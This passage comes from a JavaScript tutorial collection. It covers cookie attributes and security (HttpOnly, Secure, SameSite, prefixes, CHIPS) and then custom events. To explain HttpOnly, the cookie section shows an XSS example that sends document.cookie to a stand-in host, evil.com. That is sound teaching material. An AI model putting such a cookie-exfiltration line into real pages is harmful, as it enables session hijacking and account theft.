| Server (`Set-Cookie`) | Yes | Blocked with HttpOnly | Session tokens, auth |
| JavaScript (`document.cookie`) | No | Always accessible | UI preferences, non-sensitive data |
---
## Cookie Attributes Explained
### Expires and Max-Age: Controlling Lifetime
```javascript
// Expires in 1 hour (3600 seconds)
document.cookie = "token=abc; max-age=3600"
// Expires in 7 days
document.cookie = "remember=true; max-age=604800"
// Delete immediately (max-age=0 or negative)
document.cookie = "token=; max-age=0"
```
**Why prefer `max-age`?** It's relative to now, not dependent on clock synchronization between client and server.
```javascript
// Expires on a specific date (must be UTC string)
const expDate = new Date()
expDate.setTime(expDate.getTime() + 7 * 24 * 60 * 60 * 1000) // 7 days
document.cookie = `remember=true; expires=${expDate.toUTCString()}`
// expires=Sun, 12 Jan 2025 10:30:00 GMT
// Delete by setting past date
document.cookie = "token=; expires=Thu, 01 Jan 1970 00:00:00 GMT"
```
**Caution:** `expires` depends on the client's clock, which may be wrong.
```javascript
// No expires or max-age = session cookie
document.cookie = "tempData=xyz"
// This cookie is deleted when the browser closes
// (Though "session restore" features may keep it alive!)
```
### Path: URL Restriction
The `path` attribute restricts which URLs the cookie is sent to:
```javascript
// Only sent to /app and below (/app/dashboard, /app/settings)
document.cookie = "appToken=abc; path=/app"
// Only sent to /admin and below
document.cookie = "adminToken=xyz; path=/admin"
// Sent everywhere on the site (default recommendation)
document.cookie = "theme=dark; path=/"
```
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ PATH ATTRIBUTE BEHAVIOR │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Cookie: token=abc; path=/app │
│ │
│ / ✗ Cookie NOT sent │
│ /about ✗ Cookie NOT sent │
│ /app ✓ Cookie sent │
│ /app/ ✓ Cookie sent │
│ /app/dashboard ✓ Cookie sent │
│ /app/settings ✓ Cookie sent │
│ /application ✗ Cookie NOT sent (not a subpath!) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
```
**Security Note:** The `path` attribute is NOT a security feature! A malicious script on `/public` can still read cookies set for `/admin` by creating a hidden iframe. Use `HttpOnly` and proper authentication instead.
### Domain: Subdomain Sharing
The `domain` attribute controls which domains receive the cookie:
```javascript
// Default: Only sent to exact domain that set it
document.cookie = "token=abc" // Only sent to www.example.com
// Explicitly share with all subdomains
document.cookie = "token=abc; domain=example.com"
// Sent to: example.com, www.example.com, api.example.com, etc.
```
**Rules:**
- You can only set `domain` to your current domain or a parent domain
- You cannot set cookies for unrelated domains (security restriction)
- Leading dots (`.example.com`) are ignored in modern browsers
---
## Security Attributes: Protecting Your Cookies
### Secure: HTTPS Only
```javascript
// Only sent over HTTPS connections
document.cookie = "sessionId=abc; secure"
// Without 'secure', cookies can be intercepted on HTTP!
```
**Always use `secure` for any sensitive cookie.** Without it, cookies can be intercepted by attackers on public WiFi (man-in-the-middle attacks).
### HttpOnly: Block JavaScript Access
The `HttpOnly` attribute is critical for security, but JavaScript cannot set it:
```http
Set-Cookie: sessionId=abc123; HttpOnly; Secure
```
```javascript
// This cookie is invisible to JavaScript!
console.log(document.cookie) // sessionId won't appear
// Attackers can't steal it via XSS:
// new Image().src = "https://evil.com/steal?cookie=" + document.cookie
// The sessionId won't be included!
```
**Why HttpOnly matters:**
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ XSS ATTACK WITHOUT HttpOnly │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Attacker injects malicious script into your site │
│ 2. Script runs: new Image().src = "evil.com?c=" + document.cookie │
│ 3. Attacker receives your session cookie! │
│ 4. Attacker impersonates you and accesses your account │
│ │
│ WITH HttpOnly: │
│ 1. Attacker injects malicious script │
│ 2. Script runs: document.cookie doesn't include HttpOnly cookies! │
│ 3. Attacker gets nothing sensitive │
│ 4. Your session is protected │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
```
### SameSite: CSRF Protection
The [`SameSite`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#samesitesamesite-value) attribute controls when cookies are sent with cross-site requests. According to web.dev's SameSite cookies guide, Chrome changed the default from `None` to `Lax` in 2020, significantly improving CSRF protection across the web:
```javascript
document.cookie = "sessionId=abc; samesite=strict"
```
**Behavior:** Cookie is NEVER sent with cross-site requests.
**Use case:** High-security cookies (banking, account management).
**Downside:** If a user clicks a link from their email to your site, they won't be logged in on that first request.
```javascript
document.cookie = "sessionId=abc; samesite=lax"
```
**Behavior:** Cookie is sent with top-level navigations (clicking links) but NOT with cross-site POST requests, images, or iframes.
**Use case:** General authentication cookies. Good balance of security and usability.
**Note:** This is the default in modern browsers if `SameSite` is not specified.
```javascript
// Must include Secure when using SameSite=None!
document.cookie = "widgetId=abc; samesite=none; secure"
```
**Behavior:** Cookie is sent with ALL requests, including cross-site.
**Use case:** Third-party cookies, embedded widgets, cross-site services.
**Requirement:** Must also have `Secure` attribute.
**CSRF Attack Prevention:**
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ CSRF ATTACK SCENARIO │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. You're logged into bank.com (session cookie stored) │
│ 2. You visit evil.com which contains: │
│ │
│ │
│ 3. WITHOUT SameSite: Your session cookie is sent, transfer succeeds! │
│ 4. WITH SameSite=Strict or Lax: Cookie NOT sent, attack fails! │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
```
### Cookie Prefixes: Extra Security
Modern browsers support special cookie name prefixes that enforce security requirements:
```http
# __Secure- prefix: MUST have Secure attribute
Set-Cookie: __Secure-sessionId=abc; Secure; Path=/
# __Host- prefix: MUST have Secure, Path=/, and NO Domain
Set-Cookie: __Host-sessionId=abc; Secure; Path=/
```
The `__Host-` prefix provides the strongest guarantees:
- Can only be set from a secure (HTTPS) page
- Must have `Secure` attribute
- Must have `Path=/`
- Cannot have a `Domain` attribute (bound to exact host)
---
## First-Party vs Third-Party Cookies
### First-Party Cookies
Cookies set by the website you're visiting:
```javascript
// On example.com
document.cookie = "theme=dark" // First-party cookie
```
### Third-Party Cookies
Cookies set by a different domain than the one you're visiting:
```html
```
**How third-party tracking works:**
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ THIRD-PARTY COOKIE TRACKING │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ You visit site-a.com │
│ ├── Page loads ads.tracker.com/pixel.gif │
│ └── tracker.com sets cookie: userId=12345 │
│ │
│ Later, you visit site-b.com │
│ ├── Page loads ads.tracker.com/pixel.gif │
│ └── tracker.com receives cookie: userId=12345 │
│ "Ah, this is the same person who visited site-a.com!" │
│ │
│ tracker.com now knows your browsing history across multiple sites │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
```
---
## Third-Party Cookie Deprecation
Major browsers are phasing out third-party cookies for privacy. According to MDN's third-party cookies documentation, this represents one of the most significant changes to web tracking since cookies were invented:
| Browser | Status |
|---------|--------|
| Safari | Blocked by default since 2020 |
| Firefox | Blocked by default in Enhanced Tracking Protection |
| Chrome | Rolling out restrictions in 2024-2025 |
### CHIPS: Partitioned Cookies
For legitimate cross-site use cases (embedded widgets, federated login), browsers now support **Cookies Having Independent Partitioned State (CHIPS)**:
```http
Set-Cookie: __Host-widgetSession=abc; Secure; Path=/; Partitioned; SameSite=None
```
With `Partitioned`, the cookie is isolated per top-level site:
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ PARTITIONED COOKIES (CHIPS) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ widget.com embedded in site-a.com │
│ └── Cookie: widgetSession=abc (partitioned to site-a.com) │
│ │
│ widget.com embedded in site-b.com │
│ └── Cookie: widgetSession=xyz (partitioned to site-b.com) │
│ │
│ These are DIFFERENT cookies! widget.com can't track across sites. │
│ But it CAN maintain state within each embedding site. │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
```
---
## Cookies vs Web Storage: When to Use What
| Feature | Cookies | localStorage | sessionStorage |
|---------|---------|--------------|----------------|
| **Size limit** | ~4KB per cookie | ~5-10MB | ~5-10MB |
| **Sent to server** | Yes, automatically | No | No |
| **Expiration** | Configurable | Never | Tab close |
| **JavaScript access** | Yes (unless HttpOnly) | Yes | Yes |
| **Survives browser close** | If persistent | Yes | No |
| **Shared across tabs** | Yes | Yes | No |
| **Best for** | Auth, server state | Large data, preferences | Temporary state |
### Decision Guide
**Yes** → Use cookies (they're sent automatically with requests)
**No** → Consider Web Storage (doesn't add overhead to requests)
**Yes** → Use server-set cookies with `HttpOnly`, `Secure`, `SameSite`
**No** → JavaScript-set cookies or Web Storage are fine
**> 4KB** → Use localStorage or sessionStorage
**< 4KB** → Either works
**No, only this tab** → Use sessionStorage
**Yes** → Use cookies or localStorage
---
## Common Mistakes
```javascript
// Bad: Special characters break the cookie
document.cookie = "query=search term with spaces"
// Good: Encode the value
document.cookie = `query=${encodeURIComponent("search term with spaces")}`
```
```javascript
// Cookie was set with:
document.cookie = "token=abc; path=/app"
// This WON'T delete it:
document.cookie = "token=; max-age=0" // Wrong! Default path is current page
// This WILL delete it:
document.cookie = "token=; max-age=0; path=/app" // Same path!
```
```javascript
// Dangerous: JavaScript can read this (XSS vulnerable)
document.cookie = "sessionToken=secret123"
// Better: Set from server with HttpOnly
// Set-Cookie: sessionToken=secret123; HttpOnly; Secure
```
```javascript
// Vulnerable to CSRF attacks
document.cookie = "authToken=abc; secure"
// Protected against CSRF
document.cookie = "authToken=abc; secure; samesite=strict"
```
```javascript
// Cookies have ~4KB limit. This might fail silently:
const hugeData = JSON.stringify(largeObject) // 10KB
document.cookie = `data=${hugeData}` // Silently truncated or rejected!
// For large data, use localStorage instead
localStorage.setItem("data", hugeData)
```
```javascript
// Every cookie is sent with EVERY request to that domain!
// 20 cookies × 100 bytes = 2KB extra per request
// For data that doesn't need to go to the server:
localStorage.setItem("uiState", JSON.stringify(state)) // Not sent!
```
---
## Best Practices
```javascript
// Good: Only sent over HTTPS
document.cookie = "sessionId=abc; secure; samesite=strict"
// Server-side (Express):
res.cookie("sessionId", token, { secure: true })
```
This prevents cookies from being intercepted on insecure networks.
```http
Set-Cookie: sessionId=abc; HttpOnly; Secure; SameSite=Strict
```
JavaScript cannot read HttpOnly cookies, protecting them from XSS attacks.
```javascript
// For session/auth cookies: Strict or Lax
document.cookie = "auth=token; samesite=strict; secure"
// For cross-site widgets: None (with Secure)
document.cookie = "widget=data; samesite=none; secure"
```
```javascript
// Bad: Storing lots of data in cookies
document.cookie = `userData=${JSON.stringify(entireUserProfile)}`
// Good: Store only an identifier, keep data server-side
document.cookie = "userId=12345; secure; samesite=strict"
// Server looks up full profile using userId
```
```javascript
// Bad: Session cookie (unclear lifetime)
document.cookie = "preference=dark"
// Good: Explicit lifetime
document.cookie = "preference=dark; max-age=31536000" // 1 year
```
```http
# Strongest security guarantees
Set-Cookie: __Host-sessionId=abc; Secure; Path=/
# Good security
Set-Cookie: __Secure-token=xyz; Secure; Path=/
```
---
## Key Takeaways
**The key things to remember about Cookies:**
1. **Cookies are sent to the server** — Unlike localStorage, cookies automatically travel with every HTTP request to the same domain
2. **~4KB limit per cookie** — For larger data, use localStorage or sessionStorage
3. **Use `HttpOnly` for sensitive cookies** — Server-set cookies with HttpOnly can't be stolen via XSS attacks
4. **Always use `Secure` for sensitive data** — Ensures cookies only travel over HTTPS
5. **Use `SameSite` to prevent CSRF** — `Strict` or `Lax` block cross-site request forgery attacks
6. **Path and domain must match for deletion** — Deleting a cookie requires the same path/domain as when it was set
7. **Third-party cookies are being phased out** — Use partitioned cookies (CHIPS) for legitimate cross-site use cases
8. **`document.cookie` is quirky** — Setting adds/updates one cookie; reading returns all cookies as a string
9. **Encode special characters** — Use `encodeURIComponent()` for values with spaces, semicolons, or commas
10. **Choose the right storage** — Cookies for server communication, localStorage for persistence, sessionStorage for temporary state
---
## Test Your Knowledge
**Session cookies** have no `Expires` or `Max-Age` attribute and are deleted when the browser closes.
**Persistent cookies** have an explicit expiration and survive browser restarts.
```javascript
// Session cookie (deleted on browser close)
document.cookie = "tempId=abc"
// Persistent cookie (lasts 7 days)
document.cookie = "remember=true; max-age=604800"
```
Note: Some browsers' "session restore" feature can resurrect session cookies!
`HttpOnly` is a security feature that prevents JavaScript from accessing the cookie via `document.cookie` or other APIs.
This protects against XSS (Cross-Site Scripting) attacks. If an attacker injects malicious JavaScript into your page, they can't steal session cookies that have `HttpOnly` set.
```javascript
// If server set: Set-Cookie: session=abc; HttpOnly
console.log(document.cookie) // "session=abc" will NOT appear!
```
The cookie still works—it's sent with requests—JavaScript just can't read it.
`SameSite=Strict` prevents the cookie from being sent with ANY cross-site request, including:
- Clicking a link from another site to your site
- Form submissions from other sites
- Images, iframes, or scripts loading from other sites
This provides strong CSRF protection but can affect usability—users clicking links from emails or other sites won't be logged in on the first request.
`SameSite=Lax` is often a better balance—it allows cookies on top-level navigation links but blocks them on POST requests and embedded resources.
Set the same cookie with `max-age=0` or an `expires` date in the past:
```javascript
// Method 1: max-age=0
document.cookie = "username=; max-age=0; path=/"
// Method 2: expires in the past
document.cookie = "username=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/"
```
**Critical:** You must use the same `path` and `domain` attributes as when the cookie was set!
**Use cookies when:**
- The server needs the data (authentication, session tokens)
- You need to set `HttpOnly` for security
- Data is small (< 4KB)
**Use localStorage when:**
- Data is client-side only (UI preferences)
- Data is large (> 4KB)
- You want to avoid adding overhead to HTTP requests
**Use sessionStorage when:**
- Data should only last for the current tab
- Data shouldn't be shared across tabs
Cookie prefixes are special naming conventions that browsers enforce:
- **`__Secure-`**: Cookie MUST have the `Secure` attribute
- **`__Host-`**: Cookie MUST have `Secure`, `Path=/`, and NO `Domain`
```http
Set-Cookie: __Host-sessionId=abc; Secure; Path=/
```
They provide defense-in-depth—even if there's a bug in your code, the browser enforces these security requirements. `__Host-` is the most restrictive, ensuring the cookie can only be set by and sent to the exact host.
---
## Frequently Asked Questions
Cookies are automatically sent to the server with every HTTP request and have a ~4KB size limit, while localStorage stays in the browser and offers ~5–10MB. Use cookies when the server needs the data (authentication, sessions). Use localStorage for client-only data like UI preferences that doesn't need to travel with requests.
`HttpOnly` prevents JavaScript from accessing the cookie via `document.cookie`. This protects against XSS attacks — even if an attacker injects malicious JavaScript, they cannot steal HttpOnly cookies. According to MDN, HttpOnly can only be set by the server via the `Set-Cookie` header, not by client-side JavaScript.
`SameSite` controls whether cookies are sent with cross-site requests. `Strict` blocks all cross-site sending, `Lax` (the default since Chrome 80) allows cookies on top-level navigation but blocks them on cross-site POST requests, and `None` sends cookies on all requests but requires the `Secure` attribute.
Set the cookie with `max-age=0` or an `expires` date in the past using the same `path` and `domain` attributes as when it was originally set. There is no direct delete method — this is a common source of bugs when the path or domain doesn't match the original cookie.
Yes. Safari has blocked third-party cookies by default since 2020, Firefox blocks them in Enhanced Tracking Protection, and Chrome is rolling out restrictions through 2024–2025. According to MDN, partitioned cookies (CHIPS) provide an alternative for legitimate cross-site use cases like embedded widgets.
---
## Related Concepts
Browser storage APIs for larger data that doesn't need to go to the server
Understanding HTTP requests and how cookies travel with them
Client-side database for complex data storage beyond cookies and localStorage
Handling errors when cookies fail or are blocked
---
## Reference
Comprehensive guide covering cookies from both server and browser perspectives. The authoritative resource for understanding cookie mechanics.
JavaScript API reference for reading and writing cookies. Includes security considerations and browser compatibility.
Complete reference for the Set-Cookie HTTP header and all its attributes. Essential for server-side cookie implementation.
Understanding third-party cookies, privacy implications, and the transition to a cookieless future.
---
## Articles
Clear, beginner-friendly JavaScript tutorial with practical helper functions. Includes interactive examples you can run in the browser.
Chrome team's definitive guide to SameSite attribute and CSRF protection. Essential reading for understanding modern cookie security.
Deep dive into cookie security from a web security expert. Covers attack vectors and defense strategies in detail.
Comprehensive overview of cookies for web developers. Great starting point with practical examples and clear explanations.
---
## Videos
Kyle Cook explains JWT tokens and their relationship to cookie-based authentication. Great for understanding when to use cookies vs tokens for sessions.
Fast-paced comparison of browser storage options. Perfect for understanding when to use each storage mechanism.
Deep technical explanation of how cookies work at the HTTP level. Covers headers, attributes, and security in detail.
================================================
FILE: docs/beyond/concepts/custom-events.mdx
================================================
---
title: "Custom Events in JavaScript"
sidebarTitle: "Custom Events"
description: "Learn JavaScript custom events. Create and dispatch CustomEvent, pass data with detail, and build event-driven architectures."
"og:type": "article"
"article:author": "Leonardo Maldonado"
"article:section": "Events"
"article:tag": "custom events, customevent, event dispatch, event-driven architecture, event detail"
---
What if you could create your own events, just like `click` or `submit`? What if a shopping cart could announce "item added!" and any part of your app could listen and respond? How do you build components that communicate without knowing about each other?
```javascript
// Create a custom event with data
const event = new CustomEvent('userLoggedIn', {
detail: { username: 'alice', timestamp: Date.now() }
})
// Listen for the event anywhere in your app
document.addEventListener('userLoggedIn', (e) => {
console.log(`Welcome, ${e.detail.username}!`)
})
// Dispatch the event
document.dispatchEvent(event) // "Welcome, alice!"
```
The answer is **custom events**. They let you create your own event types, attach any data you want, and build applications where components communicate through events instead of direct function calls.
**What you'll learn in this guide:**
- Creating events with the [`CustomEvent`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent) constructor
- Dispatching events with [`dispatchEvent()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent)
- Passing data through the [`detail`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/detail) property
- Event options: `bubbles`, `cancelable`, and when to use them
- Building decoupled component communication
- Differences between custom events and native browser events
**Prerequisites:** This guide assumes you understand [Event Bubbling and Capturing](/beyond/concepts/event-bubbling-capturing). If you're not familiar with how events propagate through the DOM, read that guide first.
---
## What is a Custom Event?
A **[custom event](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent)** is a developer-defined event that you create, dispatch, and listen for in JavaScript. Unlike built-in events like `click` or `keydown` triggered by user actions, custom events are triggered programmatically using `dispatchEvent()`. The `CustomEvent` constructor extends the base `Event` interface, adding a `detail` property for passing data to listeners. [Can I Use data](https://caniuse.com/customevent) shows the `CustomEvent` constructor is supported in over 98% of browsers globally.
Custom events work with any [`EventTarget`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget), including DOM elements, the `document`, `window`, and even custom objects that extend `EventTarget`.
---
## The Radio Station Analogy
Think of custom events like a radio broadcast:
1. **The radio station (dispatcher)** broadcasts a message on a specific frequency
2. **Anyone with a radio (listeners)** tuned to that frequency receives the message
3. **The station doesn't know who's listening** - it just broadcasts
4. **Listeners don't need to know where the station is** - they just tune in
```
┌─────────────────────────────────────────────────────────────────────────────┐
│ CUSTOM EVENTS: THE RADIO ANALOGY │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ BROADCASTING (Dispatching) │
│ ───────────────────────── │
│ │
│ ┌─────────────┐ │
│ │ STATION │ ──── dispatchEvent() ────► 📻 "cart:updated" │
│ │ (Element) │ frequency (event type) │
│ └─────────────┘ │
│ │
│ LISTENING (Subscribing) │
│ ─────────────────────── │
│ │
│ 📻 "cart:updated" │
│ │ │
│ ┌─────────┼─────────┐ │
│ ▼ ▼ ▼ │
│ ┌────────┐ ┌────────┐ ┌────────┐ │
│ │ Header │ │ Badge │ │ Total │ All tuned to same frequency │
│ │Counter │ │ Icon │ │Display │ All receive the broadcast │
│ └────────┘ └────────┘ └────────┘ │
│ │
│ The station doesn't know (or care) who's listening. │
│ Listeners don't know (or care) where the broadcast comes from. │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
```
This decoupling is the superpower of custom events. As MDN's guide on [creating and triggering events](https://developer.mozilla.org/en-US/docs/Web/Events/Creating_and_triggering_events) explains, this pub/sub pattern lets components communicate without importing each other or knowing each other exists.
---
## Creating Custom Events
### The CustomEvent Constructor
To create a custom event, use the [`CustomEvent`](https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent) constructor:
```javascript
const event = new CustomEvent('eventName', options)
```
The constructor takes two arguments:
1. **`type`** (required) - A string for the event name (case-sensitive)
2. **`options`** (optional) - An object with configuration
```javascript
// Simplest custom event - just a name
const simpleEvent = new CustomEvent('hello')
// Custom event with data
const dataEvent = new CustomEvent('userAction', {
detail: { action: 'click', target: 'button' }
})
// Custom event with all options
const fullEvent = new CustomEvent('formSubmit', {
detail: { formId: 'login', data: { user: 'alice' } },
bubbles: true, // Event bubbles up the DOM
cancelable: true // preventDefault() will work
})
```
### Event Options Explained
| Option | Default | Description |
|--------|---------|-------------|
| `detail` | `null` | Any data you want to pass to listeners |
| `bubbles` | `false` | If `true`, event propagates up through ancestors |
| `cancelable` | `false` | If `true`, `preventDefault()` can cancel the event |
| `composed` | `false` | If `true`, event can cross shadow DOM boundaries |
**Naming convention:** Use lowercase with colons or hyphens for namespacing: `cart:updated`, `user:logged-in`, `modal-opened`. This prevents collision with future browser events and makes your events easy to identify.
---
## Passing Data with detail
The `detail` property is what makes `CustomEvent` special. It can hold any JavaScript value:
```javascript
// Primitive values
new CustomEvent('count', { detail: 42 })
new CustomEvent('message', { detail: 'Hello!' })
// Objects (most common)
new CustomEvent('userLoggedIn', {
detail: {
userId: 123,
username: 'alice',
timestamp: Date.now()
}
})
// Arrays
new CustomEvent('itemsSelected', {
detail: ['item1', 'item2', 'item3']
})
// Even functions (though rarely needed)
new CustomEvent('callback', {
detail: { getText: () => document.title }
})
```
### Accessing detail in Listeners
The `detail` property is read-only and accessed through the event object:
```javascript
document.addEventListener('userLoggedIn', (event) => {
// Access the detail property
console.log(event.detail.username) // "alice"
console.log(event.detail.userId) // 123
// detail is read-only - this won't work
event.detail = { different: 'data' } // Silently fails
// But you CAN mutate the object's properties (not recommended)
event.detail.username = 'bob' // Works, but avoid this
})
```
The `detail` property itself is read-only, but if it contains an object, that object's properties can be mutated. Avoid mutating `event.detail` in listeners as it can cause confusing bugs when multiple listeners handle the same event.
---
## Dispatching Events
### The dispatchEvent() Method
To trigger a custom event, call [`dispatchEvent()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent) on any element:
```javascript
const button = document.querySelector('#myButton')
// Create the event
const event = new CustomEvent('customClick', {
detail: { clickCount: 5 }
})
// Dispatch it on the button
button.dispatchEvent(event)
```
### Dispatching on Different Targets
You can dispatch events on any `EventTarget`:
```javascript
// On a specific element
document.querySelector('#cart').dispatchEvent(event)
// On the document (global events)
document.dispatchEvent(event)
// On window (also global)
window.dispatchEvent(event)
// On any element
someElement.dispatchEvent(event)
```
```javascript
// Good for component-specific events
const cart = document.querySelector('#shopping-cart')
cart.addEventListener('cart:updated', (e) => {
console.log('Cart changed:', e.detail.items)
})
// Later, when cart changes...
cart.dispatchEvent(new CustomEvent('cart:updated', {
detail: { items: ['apple', 'banana'] }
}))
```
```javascript
// Good for app-wide events
document.addEventListener('app:themeChanged', (e) => {
console.log('Theme is now:', e.detail.theme)
})
// From anywhere in the app...
document.dispatchEvent(new CustomEvent('app:themeChanged', {
detail: { theme: 'dark' }
}))
```
### Important: dispatchEvent is Synchronous
Unlike native browser events (which are processed asynchronously through the event loop), `dispatchEvent()` is **synchronous**. As the [W3C DOM specification](https://dom.spec.whatwg.org/#dom-eventtarget-dispatchevent) states, dispatching is a synchronous operation — all listeners execute immediately before `dispatchEvent()` returns:
```javascript
console.log('1: Before dispatch')
document.addEventListener('myEvent', () => {
console.log('2: Inside listener')
})
document.dispatchEvent(new CustomEvent('myEvent'))
console.log('3: After dispatch')
// Output:
// 1: Before dispatch
// 2: Inside listener <-- Runs immediately!
// 3: After dispatch
```
This synchronous behavior means you can use the return value of `dispatchEvent()` to check if any listener called `preventDefault()`.
---
## Listening for Custom Events
Use [`addEventListener()`](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener) to listen for custom events, just like native events:
```javascript
// Add a listener
element.addEventListener('myCustomEvent', (event) => {
console.log('Received:', event.detail)
})
// You can add multiple listeners for the same event
element.addEventListener('myCustomEvent', handler1)
element.addEventListener('myCustomEvent', handler2) // Both will fire
// Remove a listener when no longer needed
element.removeEventListener('myCustomEvent', handler1)
```
**Don't use `on` properties for custom events!** Unlike built-in events, custom events don't have corresponding `onevent` properties. `element.onmyCustomEvent` won't work - you must use `addEventListener()`.
```javascript
// ✗ This doesn't work
element.onmyCustomEvent = handler // undefined, does nothing
// ✓ This works
element.addEventListener('myCustomEvent', handler)
```
---
## Event Bubbling with Custom Events
By default, custom events **don't bubble**. Set `bubbles: true` if you want the event to propagate up through ancestor elements:
```javascript
// Without bubbles (default) - only direct listeners receive the event
const nonBubblingEvent = new CustomEvent('test', {
detail: { value: 1 }
})
// With bubbles - ancestors can also listen
const bubblingEvent = new CustomEvent('test', {
detail: { value: 2 },
bubbles: true
})
```
### Bubbling Example
```javascript
// HTML:
const parent = document.querySelector('#parent')
const child = document.querySelector('#child')
// Listen on parent
parent.addEventListener('customClick', (e) => {
console.log('Parent heard:', e.detail.message)
})
// Dispatch from child WITHOUT bubbles
child.dispatchEvent(new CustomEvent('customClick', {
detail: { message: 'no bubbles' }
}))
// Parent hears nothing!
// Dispatch from child WITH bubbles
child.dispatchEvent(new CustomEvent('customClick', {
detail: { message: 'with bubbles' },
bubbles: true
}))
// Parent logs: "Parent heard: with bubbles"
```
Use `bubbles: true` when you want ancestor elements to be able to listen for events from their descendants. This is essential for [Event Delegation](/beyond/concepts/event-delegation) patterns.
---
## Canceling Custom Events
If you create an event with `cancelable: true`, listeners can call `preventDefault()` to signal that the default action should be canceled:
```javascript
const button = document.querySelector('#deleteButton')
// Listener can prevent the action
document.addEventListener('item:delete', (event) => {
if (!confirm('Are you sure you want to delete?')) {
event.preventDefault() // Signal cancellation
}
})
// Dispatch and check if it was canceled
function deleteItem(itemId) {
const event = new CustomEvent('item:delete', {
detail: { itemId },
cancelable: true // Required for preventDefault to work!
})
const wasAllowed = button.dispatchEvent(event)
if (wasAllowed) {
// No listener called preventDefault
console.log('Deleting item:', itemId)
} else {
// A listener called preventDefault
console.log('Deletion was canceled')
}
}
```
### Return Value of dispatchEvent
`dispatchEvent()` returns:
- `true` if no listener called `preventDefault()`
- `false` if any listener called `preventDefault()` (and event was `cancelable`)
```javascript
const event = new CustomEvent('action', { cancelable: true })
element.addEventListener('action', (e) => {
e.preventDefault()
})
const result = element.dispatchEvent(event)
console.log(result) // false - event was canceled
```
---
## Component Communication Pattern
Custom events shine when building decoupled components that need to communicate:
```javascript
// Shopping Cart Component
class ShoppingCart {
constructor(element) {
this.element = element
this.items = []
}
addItem(item) {
this.items.push(item)
// Announce the change - anyone can listen!
this.element.dispatchEvent(new CustomEvent('cart:itemAdded', {
detail: { item, totalItems: this.items.length },
bubbles: true
}))
}
removeItem(itemId) {
this.items = this.items.filter(i => i.id !== itemId)
this.element.dispatchEvent(new CustomEvent('cart:itemRemoved', {
detail: { itemId, totalItems: this.items.length },
bubbles: true
}))
}
}
// Header Badge - listens for cart events
class CartBadge {
constructor(element) {
this.element = element
// Listen for ANY cart event that bubbles up
document.addEventListener('cart:itemAdded', (e) => {
this.update(e.detail.totalItems)
})
document.addEventListener('cart:itemRemoved', (e) => {
this.update(e.detail.totalItems)
})
}
update(count) {
this.element.textContent = count
}
}
// These components don't import each other - they communicate through events!
```
This pattern keeps components loosely coupled. The cart doesn't know the badge exists, and the badge doesn't know where cart events come from.
---
## Custom Events vs Native Events
### The isTrusted Property
One key difference: custom events have `event.isTrusted` set to `false`:
```javascript
// Native click from user
button.addEventListener('click', (e) => {
console.log(e.isTrusted) // true - real user action
})
// Custom event from code
button.addEventListener('customClick', (e) => {
console.log(e.isTrusted) // false - script-generated
})
button.dispatchEvent(new CustomEvent('customClick'))
```
### Key Differences Table
| Feature | Native Events | Custom Events |
|---------|--------------|---------------|
| Triggered by | Browser/User | Your code |
| `isTrusted` | `true` | `false` |
| Processing | Asynchronous | Synchronous |
| `on*` properties | Yes (`onclick`) | No |
| `detail` property | No | Yes |
| Default `bubbles` | Varies by event | `false` |
---
## Common Mistakes
The most common mistake is expecting events to bubble when they don't:
```javascript
// ✗ Won't bubble - parent won't hear it
child.dispatchEvent(new CustomEvent('notify', {
detail: { message: 'hello' }
}))
// ✓ Will bubble up to ancestors
child.dispatchEvent(new CustomEvent('notify', {
detail: { message: 'hello' },
bubbles: true
}))
```
Custom events don't have corresponding `on*` properties:
```javascript
// ✗ Does nothing - onmyEvent doesn't exist
element.onmyEvent = () => console.log('fired')
// ✓ Use addEventListener instead
element.addEventListener('myEvent', () => console.log('fired'))
```
Events only reach listeners on the target and (if bubbling) its ancestors:
```javascript
// Listener on #sidebar
sidebar.addEventListener('update', handler)
// ✗ Dispatching on #header - sidebar won't hear it
header.dispatchEvent(new CustomEvent('update'))
// ✓ Dispatch on document for truly global events
document.dispatchEvent(new CustomEvent('update'))
```
`preventDefault()` silently does nothing without `cancelable: true`:
```javascript
// ✗ preventDefault won't work
const event = new CustomEvent('submit')
element.addEventListener('submit', e => e.preventDefault())
element.dispatchEvent(event) // Returns true even with preventDefault!
// ✓ Add cancelable: true
const event = new CustomEvent('submit', { cancelable: true })
```
Unlike native events, `dispatchEvent()` is synchronous:
```javascript
let value = 'before'
element.addEventListener('sync', () => {
value = 'inside'
})
element.dispatchEvent(new CustomEvent('sync'))
// value is 'inside' immediately - not 'before'!
console.log(value) // "inside"
```
---
## Best Practices
Prefix event names to avoid collisions and improve clarity:
```javascript
// ✓ Good - clear namespace
new CustomEvent('cart:itemAdded')
new CustomEvent('modal:opened')
new CustomEvent('user:loggedIn')
// ✗ Avoid - could conflict with future browser events
new CustomEvent('update')
new CustomEvent('change')
```
Pass enough information for listeners to act without needing other context:
```javascript
// ✗ Not enough context
new CustomEvent('item:deleted', {
detail: { success: true }
})
// ✓ Includes all relevant data
new CustomEvent('item:deleted', {
detail: {
itemId: 123,
itemName: 'Widget',
deletedAt: Date.now(),
remainingItems: 5
}
})
```
Treat custom events like an API - document what they do and what data they carry:
```javascript
